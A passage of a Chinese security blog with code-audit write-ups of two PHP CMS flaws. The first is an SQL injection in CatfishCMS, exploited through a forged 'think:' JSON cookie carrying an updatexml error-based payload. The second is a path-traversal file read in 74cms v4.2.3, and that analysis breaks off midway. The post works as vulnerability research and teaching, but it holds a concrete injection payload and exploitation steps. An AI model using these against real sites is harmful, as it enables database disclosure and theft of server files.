<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">query</span><span class="o">-></span><span class="na">bind</span><span class="p">(</span><span class="nv">$key</span><span class="p">,</span> <span class="nv">$val</span><span class="p">,</span> <span class="nb">isset</span><span class="p">(</span><span class="nv">$bind</span><span class="p">[</span><span class="nv">$key</span><span class="p">])</span> <span class="o">?</span> <span class="nv">$bind</span><span class="p">[</span><span class="nv">$key</span><span class="p">]</span> <span class="o">:</span> <span class="nx">PDO</span><span class="o">::</span><span class="na">PARAM_STR</span><span class="p">);</span>
<span class="nv">$result</span><span class="p">[</span><span class="nv">$item</span><span class="p">]</span> <span class="o">=</span> <span class="s1">':'</span> <span class="o">.</span> <span class="nv">$key</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nv">$result</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start">注意看了啊,这里的$var[0]如果等于exp的话,就直接将$val[1]给$result[$item]。所以这里我们肯定要构造一个数组的。<br /></span>
<span class="md_line">等处理完了,就直接return $result。<br /></span>
<span class="md_line md_line_end">然后我们返回上级看看:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span> <span class="nv">$fields</span> <span class="o">=</span> <span class="nb">array_keys</span><span class="p">(</span><span class="nv">$data</span><span class="p">);</span>
<span class="nv">$values</span> <span class="o">=</span> <span class="nb">array_values</span><span class="p">(</span><span class="nv">$data</span><span class="p">);</span>
<span class="nv">$sql</span> <span class="o">=</span> <span class="nb">str_replace</span><span class="p">(</span>
<span class="p">[</span><span class="s1">'%INSERT%'</span><span class="p">,</span> <span class="s1">'%TABLE%'</span><span class="p">,</span> <span class="s1">'%FIELD%'</span><span class="p">,</span> <span class="s1">'%DATA%'</span><span class="p">,</span> <span class="s1">'%COMMENT%'</span><span class="p">],</span>
<span class="p">[</span>
<span class="nv">$replace</span> <span class="o">?</span> <span class="s1">'REPLACE'</span> <span class="o">:</span> <span class="s1">'INSERT'</span><span class="p">,</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">parseTable</span><span class="p">(</span><span class="nv">$options</span><span class="p">[</span><span class="s1">'table'</span><span class="p">]),</span>
<span class="nb">implode</span><span class="p">(</span><span class="s1">' , '</span><span class="p">,</span> <span class="nv">$fields</span><span class="p">),</span>
<span class="nb">implode</span><span class="p">(</span><span class="s1">' , '</span><span class="p">,</span> <span class="nv">$values</span><span class="p">),</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">parseComment</span><span class="p">(</span><span class="nv">$options</span><span class="p">[</span><span class="s1">'comment'</span><span class="p">]),</span>
<span class="p">],</span> <span class="nv">$this</span><span class="o">-></span><span class="na">insertSql</span><span class="p">);</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">直接array_values取出来,然后implode一下,好的,明显的注入。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">接下来开始构造payload了,构造payload的时候也有点大意了,我以为直接传数组就可以了,结果并不行,我就又去看了一下取COOKIE得函数:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span> <span class="k">public</span> <span class="k">static</span> <span class="k">function</span> <span class="nf">get</span><span class="p">(</span><span class="nv">$name</span><span class="p">,</span> <span class="nv">$prefix</span> <span class="o">=</span> <span class="k">null</span><span class="p">)</span>
<span class="p">{</span>
<span class="o">!</span><span class="nb">isset</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="nv">$init</span><span class="p">)</span> <span class="o">&&</span> <span class="nx">self</span><span class="o">::</span><span class="na">init</span><span class="p">();</span>
<span class="nv">$prefix</span> <span class="o">=</span> <span class="o">!</span><span class="nb">is_null</span><span class="p">(</span><span class="nv">$prefix</span><span class="p">)</span> <span class="o">?</span> <span class="nv">$prefix</span> <span class="o">:</span> <span class="nx">self</span><span class="o">::</span><span class="nv">$config</span><span class="p">[</span><span class="s1">'prefix'</span><span class="p">];</span>
<span class="nv">$name</span> <span class="o">=</span> <span class="nv">$prefix</span> <span class="o">.</span> <span class="nv">$name</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="nv">$name</span><span class="p">]))</span> <span class="p">{</span>
<span class="nv">$value</span> <span class="o">=</span> <span class="nv">$_COOKIE</span><span class="p">[</span><span class="nv">$name</span><span class="p">];</span>
<span class="k">if</span> <span class="p">(</span><span class="mi">0</span> <span class="o">===</span> <span class="nb">strpos</span><span class="p">(</span><span class="nv">$value</span><span class="p">,</span> <span class="s1">'think:'</span><span class="p">))</span> <span class="p">{</span>
<span class="nv">$value</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nv">$value</span><span class="p">,</span> <span class="mi">6</span><span class="p">);</span>
<span class="nv">$value</span> <span class="o">=</span> <span class="nb">json_decode</span><span class="p">(</span><span class="nv">$value</span><span class="p">,</span> <span class="k">true</span><span class="p">);</span>
<span class="nb">array_walk_recursive</span><span class="p">(</span><span class="nv">$value</span><span class="p">,</span> <span class="s1">'self::jsonFormatProtect'</span><span class="p">,</span> <span class="s1">'decode'</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nv">$value</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="k">return</span> <span class="k">null</span><span class="p">;</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">它取了COOKIE的值之后还进行了一次strpos操作,所以这个地方我们如果直接传数组会报error的错误,就是因为strpos的参数不能是数组。但是我一看到if里面有一个json_decode。那等于还是可以传数组嘛(吓我一跳)。</span>
</p>
<h1 id="toc_2" class="h16">漏洞利用</h1>
<p class="md_block">
<span class="md_line md_line_start">为了方便起见。把app_debug打开吧,方便报错注入。<br /></span>
<span class="md_line md_line_end">将/application/config.php中的app_debug改为true即可。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start">首先我们前台注册一个账号吧。<br /></span>
<span class="md_line md_line_end">用户名:balisong 密码:balisong</span>
</p>
<p class="md_block">
<span class="md_line md_line_start">首先我们要登录一次,不过这个地方要把<strong>记住我</strong>勾上,如图:<br /></span>
<span class="md_line md_line_dom_embed md_line_with_image md_line_end"><img class="md_compiled " src="/代码审计/images/catfish_1.jpg" alt="" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start">然后会发现我们多了几个cookie,如图:<br /></span>
<span class="md_line md_line_dom_embed md_line_with_image"><img class="md_compiled " src="/代码审计/images/catfish_2.jpg" alt="" title="" ><br /></span>
<span class="md_line img_before only_img_before">其中最重要的就是这个user_p的cookie。<br /></span>
<span class="md_line md_line_end">我这里是<strong>65332ad27c4ca83675c01ad285367903</strong></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">然后我们开始换个浏览器搞事情。或者你清除掉PHPSESSION也可以。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">然后开始构造COOKIE:</span>
</p>
<pre><code>catfishcatfishcmsuser = balisong
catfishcatfishcmsuser_p = 65332ad27c4ca83675c01ad285367903
catfishcatfishcmsuser_id = think:["exp","1 or updatexml(1,concat(0x3e,user()),0)"]</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">构造完毕后,访问一次http://localhost/catfishcms/user/index.html</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">页面报错不要紧,主要是为了触发checkuser这个函数。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">然后访问http://localhost/catfishcms/index/index/pinglun.html</span>
</p>
<p class="md_block">
<span class="md_line md_line_start">可以看到报错了,爆出了数据库用户名:<br /></span>
<span class="md_line md_line_dom_embed md_line_with_image md_line_end"><img class="md_compiled " src="/代码审计/images/catfish_3.jpg" alt="" title="" ></span>
</p>
74cms v4.2.3前台任意文件读取
2017-07-05T15:03:00Z
dai-ma-shen-ji/2017-07-05
Balis0ng's blog
<p class="md_block">
<span class="md_line md_line_start md_line_end">因为一直忙学校的事情,很久没发文章了,今天想起来我还有个博客,就随便发一篇吧。</span>
</p>
<h1 id="toc_0" class="h16">漏洞描述</h1>
<p class="md_block">
<span class="md_line md_line_start md_line_end">骑士人才系统是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才招聘系统。由太原迅易科技有限公司于2009年正式推出。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">74cms在v4.2.3版本中存在前台任意文件读取漏洞,攻击者可以利用此漏洞读取服务器上的敏感文件。</span>
</p>
<h1 id="toc_1" class="h16">漏洞分析</h1>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在/Application/Home/Controller/MembersController.class.php中的第219行:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span> <span class="k">if</span><span class="p">(</span><span class="s1">'bind'</span> <span class="o">==</span> <span class="nx">I</span><span class="p">(</span><span class="s1">'post.org'</span><span class="p">,</span><span class="s1">''</span><span class="p">,</span><span class="s1">'trim'</span><span class="p">)</span> <span class="o">&&</span> <span class="nx">cookie</span><span class="p">(</span><span class="s1">'members_bind_info'</span><span class="p">)){</span>
<span class="nv">$user_bind_info</span> <span class="o">=</span> <span class="nx">object_to_array</span><span class="p">(</span><span class="nx">cookie</span><span class="p">(</span><span class="s1">'members_bind_info'</span><span class="p">));</span>
<span class="nv">$user_bind_info</span><span class="p">[</span><span class="s1">'uid'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$data</span><span class="p">[</span><span class="s1">'uid'</span><span class="p">];</span>
<span class="nv">$oauth</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">\Common\qscmslib\oauth</span><span class="p">(</span><span class="nv">$user_bind_info</span><span class="p">[</span><span class="s1">'type'</span><span class="p">]);</span>
<span class="nv">$oauth</span><span class="o">-></span><span class="na">bindUser</span><span class="p">(</span><span class="nv">$user_bind_info</span><span class="p">);</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">_save_avatar</span><span class="p">(</span><span class="nv">$user_bind_info</span><span class="p">[</span><span class="s1">'temp_avatar'</span><span class="p">],</span><span class="nv">$data</span><span class="p">[</span><span class="s1">'uid'</span><span class="p">]);</span><span class="c1">//临时头像转换</span>
<span class="nx">cookie</span><span class="p">(</span><span class="s1">'members_bind_info'</span><span class="p">,</span> <span class="k">NULL</span><span class="p">);</span><span class="c1">//清理绑定COOKIE</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start">这里进入if的条件十分简单,就是我们post的org等于bind,以及我们拥有一个members_bind_info的cookie就好了,然后我们主要是看这个if条件里面的操作:<br /></span>
<span class="md_line md_line_end">首先将我们的members_bind_info这个cookie调用object_to_array函数进行了处理,我们看一下这个函数:</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在/Application/Common/Common/function.php中第278行:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="k">function</span> <span class="nf">object_to_array</span><span class="p">(</span><span class="nv">$obj</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$_arr</span> <span class="o">=</span> <span class="nb">is_object</span><span class="p">(</span><span class="nv">$obj</span><span class="p">)</span> <span class="o">?</span> <span class="nb">get_object_vars</span><span class="p">(</span><span class="nv">$obj</span><span class="p">)</span> <span class="o">:</span> <span class="nv">$obj</span><span class="p">;</span>
<span class="k">foreach</span> <span class="p">(</span><span class="nv">$_arr</span> <span class="k">as</span> <span class="nv">$key</span> <span class="o">=></span> <span class="nv">$val</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$val</span> <span class="o">=</span> <span class="p">(</span><span class="nb">is_array</span><span class="p">(</span><span class="nv">$val</span><span class="p">)</span> <span class="o">||</span> <span class="nb">is_object</span><span class="p">(</span><span class="nv">$val</span><span class="p">))</span> <span class="o">?</span> <span class="nx">object_to_array</span><span class="p">(</span><span class="nv">$val</span><span class="p">)</span> <span class="o">:</span> <span class="nv">$val</span><span class="p">;</span>
<span class="nv">$arr</span><span class="p">[</span><span class="nv">$key</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$val</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nv">$arr</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">就是将我们的cookie内容转换成数组,转换成数组之后赋值给了$user_bind_info这个变量,然后将$data['uid']赋值给了$user_bind_info['uid'],然后实例化了一个oauth类,并且将$user_bind_info['type']传递给了构造函数,我们看一下这个类:</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在/Application/Common/qscmslib/oauth.class.php中:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="k">class</span> <span class="nc">oauth</span> <span class="p">{</span>
<span class="k">private</span> <span class="nv">$_type</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span>
<span class="k">private</span> <span class="nv">$_setting</span> <span class="o">=</span> <span class="k">array</span><span class="p">();</span>
<span class="k">private</span> <span class="nv">$_error</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">__construct</span><span class="p">(</span><span class="nv">$name</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">_type</span> <span class="o">=</span> <span class="nv">$name</span> <span class="o">?</span> <span class="nv">$name</span> <span class="o">:</span> <span class="nx">C</span><span class="p">(</span><span class="s1">'qscms_oauth_default'</span><span class="p">);</span>
<span class="c1">//加载登陆接口配置</span>
<span class="k">if</span><span class="p">(</span><span class="k">false</span> <span class="o">===</span> <span class="nv">$oauth_list</span> <span class="o">=</span> <span class="nx">F</span><span class="p">(</span><span class="s1">'oauth_list'</span><span class="p">)){</span>
<span class="nv">$oauth_list</span> <span class="o">=</span> <span class="nx">D</span><span class="p">(</span><span class="s1">'Oauth'</span><span class="p">)</span><span class="o">-></span><span class="na">oauth_cache</span><span class="p">();</span>
<span class="p">}</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">_setting</span> <span class="o">=</span> <span class="nb">unserialize</span><span class="p">(</span><span class="nv">$oauth_list</span><span class="p">[</span><span class="nv">$this</span><span class="o">-></span><span class="na">_type</span><span class="p">][</span><span class="s1">'config'</span><span class="p">]);</span>
<span class="c1">//导入接口文件</span>
<span class="k">include_once</span> <span class="nx">QSCMSLIB_PATH</span> <span class="o">.</span> <span class="s1">'oauth/'</span> <span class="o">.</span> <span class="nv">$this</span><span class="o">-></span><span class="na">_type</span> <span class="o">.</span> <span class="s1">'/'</span> <span class="o">.</span> <span class="nv">$this</span><span class="o">-></span><span class="na">_type</span> <span class="o">.</span> <span class="s1">'.php'</span><span class="p">;</span>
<span class="nv">$om_class</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="na">_type</span> <span class="o">.</span> <span class="s1">'_oauth'</span><span class="p">;</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">_om</span> <span class="o">=</span> <span class="k">new</span> <span class="nv">$om_class</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">_setting</span><span class="p">);</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">可以看到,这里的$this->_type就是我们传递进来的构造函数的参数$name,这里就包含进一个PHP文件,然后实例化这个文件里的类, 我们找一下,在/Application/Common/qscmslib/oauth/下有三个文件夹,分别是qq,sina,taobao,这里我选择qq吧,也就是说我们的$user_bind_info['type']的值是QQ。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">然后又将$user_bind_info['temp_avatar']以及$data['uid']带入到了_save_avatar函数中:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="nv">$this</span><span class="o">-></span><span class="na">_save_avatar</span><span class="p">(</span><span class="nv">$user_bind_info</span><span class="p">[</span><span class="s1">'temp_avatar'</span><span class="p">],</span><span class="nv">$data</span><span class="p">[</span><span class="s1">'uid'</span><span class="p">]);</span><span class="c1">//临时头像转换</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">我们跟踪一下该函数:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span> <span class="k">protected</span> <span class="k">function</span> <span class="nf">_save_avatar</span><span class="p">(</span><span class="nv">$avatar</span><span class="p">,</span><span class="nv">$uid</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nv">$avatar</span><span class="p">)</span> <span class="k">return</span> <span class="k">false</span><span class="p">;</span>
<span class="nv">$path</span> <span class="o">=</span> <span class="nx">C</span><span class="p">(</span><span class="s1">'qscms_attach_path'</span><span class="p">)</span><span class="o">.</span><span class="s1">'avatar/temp/'</span><span class="o">.</span><span class="nv">$avatar</span><span class="p">;</span>
<span class="nv">$image</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">\Common\ORG\ThinkImage</span><span class="p">();</span>
<span class="nv">$date</span> <span class="o">=</span> <span class="nb">date</span><span class="p">(</span><span class="s1">'ym/d/'</span><span class="p">);</span>
<span class="nv">$save_avatar</span><span class="o">=</span><span class="nx">C</span><span class="p">(</span><span class="s1">'qscms_attach_path'</span><span class="p">)</span><span class="o">.</span><span class="s1">'avatar/'</span><span class="o">.</span><span class="nv">$date</span><span class="p">;</span><span class="c1">//图片存储路径</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nb">is_dir</span><span class="p">(</span><span class="nv">$save_avatar</span><span class="p">))</span> <span class="nb">mkdir</span><span class="p">(</span><span class="nv">$save_avatar</span><span class="p">,</span><span class="mo">0777</span><span class="p">,</span><span class="k">true</span><span class="p">);</span>
<span class="nb">file_put_contents</span><span class="p">(</span><span class="s1">'balisong.txt'</span><span class="p">,</span><span class="nb">time</span><span class="p">());</span>
<span class="nv">$savePicName</span> <span class="o">=</span> <span class="nb">md5</span><span class="p">(</span><span class="nv">$uid</span><span class="o">.</span><span class="nb">time</span><span class="p">())</span><span class="o">.</span><span class="s2">".jpg"</span><span class="p">;</span>
<span class="nv">$filename</span> <span class="o">=</span> <span class="nv">$save_avatar</span><span class="o">.</span><span class="nv">$savePicName</span><span class="p">;</span>
<span class="nv">$size</span> <span class="o">=</span> <span class="nb">explode</span><span class="p">(</span><span class="s1">','</span><span class="p">,</span><span class="nx">C</span><span class="p">(</span><span class="s1">'qscms_avatar_size'</span><span class="p">));</span>
<span class="nb">copy</span><span class="p">(</span><span class="nv">$path</span><span class="p">,</span> <span class="nv">$filename</span><span class="p">);</span>
<span class="k">foreach</span> <span class="p">(</span><span class="nv">$size</span> <span class="k">as</span> <span class="nv">$val</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$image</span><span class="o">-></span><span class="na">open</span><span class="p">(</span><span class="nv">$path</span><span class="p">)</span><span class="o">-></span><span class="na">thumb</span><span class="p">(</span><span class="nv">$val</span><span class="p">,</span><span class="nv">$val</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span><span class="o">-></span><span class="na">save</span><span class="p">(</span><span class="s2">"</span><span class="si">{</span><span class="nv">$filename</span><span class="si">}</span><span class="s2">._</span><span class="si">{</span><span class="nv">$val</span><span class="si">}</span><span class="s2">x</span><span class="si">{</span><span class="nv">$val</span><span class="si">}</span><span class="s2">.jpg"</span><span class="p">);</span>
<span class="p">}</span>
<span class="nx">M</span><span class="p">(</span><span class="s1">'Members'</span><span class="p">)</span><span class="o">-></span><span class="na">where</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s1">'uid'</span><span class="o">=></span><span class="nv">$uid</span><span class="p">))</span><span class="o">-></span><span class="na">setfield</span><span class="p">(</span><span class="s1">'avatars'</span><span class="p">,</span><span class="nv">$date</span><span class="o">.</span><span class="nv">$savePicName</span><span class="p">);</span>
<span class="o">@</span><span class="nb">unlink</span><span class="p">(</span><span class="nv">$path</span><span class="p">);</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">可以看到将$avatar拼接到了$path变量中,然后将$path copy到了$filename去:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span> <span class="nb">copy</span><span class="p">(</span><span class="nv">$path</span><span class="p">,</span> <span class="nv">$filename</span><span class="p">);</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">那么这个$filename是啥,它的文件名命名规则为:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="nv">$savePicName</span> <span class="o">=</span> <span class="nb">md5</span><span class="p">(</span><span class="nv">$uid</span><span class="o">.</span><span class="nb">time</span><span class="p">())</span><span class="o">.</span><span class="s2">".jpg"</span><span class="p">;</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">也就是说是我们传入的第二个参数$data['uid']+time(),然后md5之后得到的值作为文件名,而我们拷贝过去,形成的是一个jpg文件。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">那么这里就存在一个任意文件读取的操作了,首先我们的$avatar是从cookie里面取出来的,并且没有进行过滤,也没有限制后缀,直接拼接到了路径中,导致我们可以通过引用../这种跳目录的方式来让这个文件改变,并且copy之后的文件是个图片文件,众所周知,图片文件我们是可以直接下载下来的,所以我们可以控制源文件,然后可以知道目的文件的路径以及名称,那么就可以达到一个任意文件下载的效果。</span>
</p>
<p class="md_block md_has_block_below md_has_block_below_ol">
<span class="md_line md_line_start md_line_end">但是这里有两个问题是我们需要解决的</span>
</p>
<ol>
<li class="md_li"><span>如何伪造cookie
</span></li>
<li class="md_li"><span>如何知道复制后的文件路径(包括文件名)
</span></li>
</ol>
<p class="md_block">
<span class="md_line md_line_start md_line_end">第一个问题我们需要知道cookie这个函数到底是怎样工作的,我们看一下定义:</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在/ThinkPHP/Common/functions.php中第1356行:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="k">function</span> <span class="nf">cookie</span><span class="p">(</span><span class="nv">$name</span><span class="o">=</span><span class="s1">''</span><span class="p">,</span> <span class="nv">$value</span><span class="o">=</span><span class="s1">''</span><span class="p">,</span> <span class="nv">$option</span><span class="o">=</span><span class="k">null</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// 默认设置</span>
<span class="nv">$config</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span>
<span class="s1">'prefix'</span> <span class="o">=></span> <span class="nx">C</span><span class="p">(</span><span class="s1">'COOKIE_PREFIX'</span><span class="p">),</span> <span class="c1">// cookie 名称前缀</span>
<span class="s1">'expire'</span> <span class="o">=></span> <span class="nx">C</span><span class="p">(</span><span class="s1">'COOKIE_EXPIRE'</span><span class="p">),</span> <span class="c1">// cookie 保存时间</span>
<span class="s1">'path'</span> <span class="o">=></span> <span class="nx">C</span><span class="p">(</span><span class="s1">'COOKIE_PATH'</span><span class="p">),</span> <span class="c1">// cookie 保存路径</span>
<span class="s1">'domain'</span> <span class="o">=></span> <span class="nx">C</span><span class="p">(</span><span class="s1">'COOKIE_DOMAIN'</span><span class="p">),</span> <span class="c1">// cookie 有效域名</span>
<span class="s1">'secure'</span> <span class="o">=></span> <span class="nx">C</span><span class="p">(</span><span class="s1">'COOKIE_SECURE'</span><span class="p">),</span> <span class="c1">// cookie 启用安全传输</span>
<span class="s1">'httponly'</span> <span class="o">=></span> <span class="nx">C</span><span class="p">(</span><span class="s1">'COOKIE_HTTPONLY'</span><span class="p">),</span> <span class="c1">// httponly设置</span>
<span class="p">);</span>
<span class="c1">// 参数设置(会覆盖黙认设置)</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">is_null</span><span class="p">(</span><span class="nv">$option</span><span class="p">))</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">is_numeric</span><span class="p">(</span><span class="nv">$option</span><span class="p">))</span>
<span class="nv">$option</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span><span class="s1">'expire'</span> <span class="o">=></span> <span class="nv">$option</span><span class="p">);</span>
<span class="k">elseif</span> <span class="p">(</span><span class="nb">is_string</span><span class="p">(</span><span class="nv">$option</span><span class="p">))</span>
<span class="nb">parse_str</span><span class="p">(</span><span class="nv">$option</span><span class="p">,</span> <span class="nv">$option</span><span class="p">);</span>
<span class="nv">$config</span> <span class="o">=</span> <span class="nb">array_merge</span><span class="p">(</span><span class="nv">$config</span><span class="p">,</span> <span class="nb">array_change_key_case</span><span class="p">(</span><span class="nv">$option</span><span class="p">));</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="k">empty</span><span class="p">(</span><span class="nv">$config</span><span class="p">[</span><span class="s1">'httponly'</span><span class="p">])){</span>
<span class="nb">ini_set</span><span class="p">(</span><span class="s2">"session.cookie_httponly"</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="c1">// 清除指定前缀的所有cookie</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">is_null</span><span class="p">(</span><span class="nv">$name</span><span class="p">))</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="k">empty</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">))</span>
<span class="k">return</span> <span class="k">null</span><span class="p">;</span>
<span class="c1">// 要删除的cookie前缀,不指定则删除config设置的指定前缀</span>
<span class="nv">$prefix</span> <span class="o">=</span> <span class="k">empty</span><span class="p">(</span><span class="nv">$value</span><span class="p">)</span> <span class="o">?</span> <span class="nv">$config</span><span class="p">[</span><span class="s1">'prefix'</span><span class="p">]</span> <span class="o">:</span> <span class="nv">$value</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="k">empty</span><span class="p">(</span><span class="nv">$prefix</span><span class="p">))</span> <span class="p">{</span><span class="c1">// 如果前缀为空字符串将不作处理直接返回</span>
<span class="k">foreach</span> <span class="p">(</span><span class="nv">$_COOKIE</span> <span class="k">as</span> <span class="nv">$key</span> <span class="o">=></span> <span class="nv">$val</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="mi">0</span> <span class="o">===</span> <span class="nb">stripos</span><span class="p">(</span><span class="nv">$key</span><span class="p">,</span> <span class="nv">$prefix</span><span class="p">))</span> <span class="p">{</span>
<span class="nb">setcookie</span><span class="p">(</span><span class="nv">$key</span><span class="p">,</span> <span class="s1">''</span><span class="p">,</span> <span class="nb">time</span><span class="p">()</span> <span class="o">-</span> <span class="mi">3600</span><span class="p">,</span> <span class="nv">$config</span><span class="p">[</span><span class="s1">'path'</span><span class="p">],</span> <span class="nv">$config</span><span class="p">[</span><span class="s1">'domain'</span><span class="p">],</span><span class="nv">$config</span><span class="p">[</span><span class="s1">'secure'</span><span class="p">],</span><span class="nv">$config</span><span class="p">[</span><span class="s1">'httponly'</span><span class="p">]);</span>
<span class="nb">unset</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="nv">$key</span><span class="p">]);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="k">null</span><span class="p">;</span>
<span class="p">}</span><span class="k">elseif</span><span class="p">(</span><span class="s1">''</span> <span class="o">===</span> <span class="nv">$name</span><span class="p">){</span>
<span class="c1">// 获取全部的cookie</span>
<span class="k">return</span> <span class="nv">$_COOKIE</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$name</span> <span class="o">=</span> <span class="nv">$config</span><span class="p">[</span><span class="s1">'prefix'</span><span class="p">]</span> <span class="o">.</span> <span class="nb">str_replace</span><span class="p">(</span><span class="s1">'.'</span><span class="p">,</span> <span class="s1">'_'</span><span class="p">,</span> <span class="nv">$name</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="s1">''</span> <span class="o">===</span> <span class="nv">$value</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="nv">$name</span><span class="p">])){</span>
<span class="nv">$value</span> <span class="o">=</span> <span class="nv">$_COOKIE</span><span class="p">[</span><span class="nv">$name</span><span class="p">];</span>
<span class="k">if</span><span class="p">(</span><span class="mi">0</span><span class="o">===</span><span class="nb">strpos</span><span class="p">(</span><span class="nv">$value</span><span class="p">,</span><span class="s1">'think:'</span><span class="p">)){</span>
<span class="nv">$value</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nv">$value</span><span class="p">,</span><span class="mi">6</span><span class="p">);</span>
<span class="k">return</span> <span class="nb">array_map</span><span class="p">(</span><span class="s1">'urldecode'</span><span class="p">,</span><span class="nb">json_decode</span><span class="p">(</span><span class="nx">MAGIC_QUOTES_GPC</span><span class="o">?</span><span class="nb">stripslashes</span><span class="p">(</span><span class="nv">$value</span><span class="p">)</span><span class="o">:</span><span class="nv">$value</span><span class="p">,</span><span class="k">true</span><span class="p">));</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">return</span> <span class="nv">$value</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">return</span> <span class="k">null</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里涉及到一个cookie前缀的问题,我们必须要知道这个cookie前缀,但是程序默认是没有设置cookie前缀的,在/ThinkPHP/Conf/convention.php中第36行我们可以看到:</span>
</p>
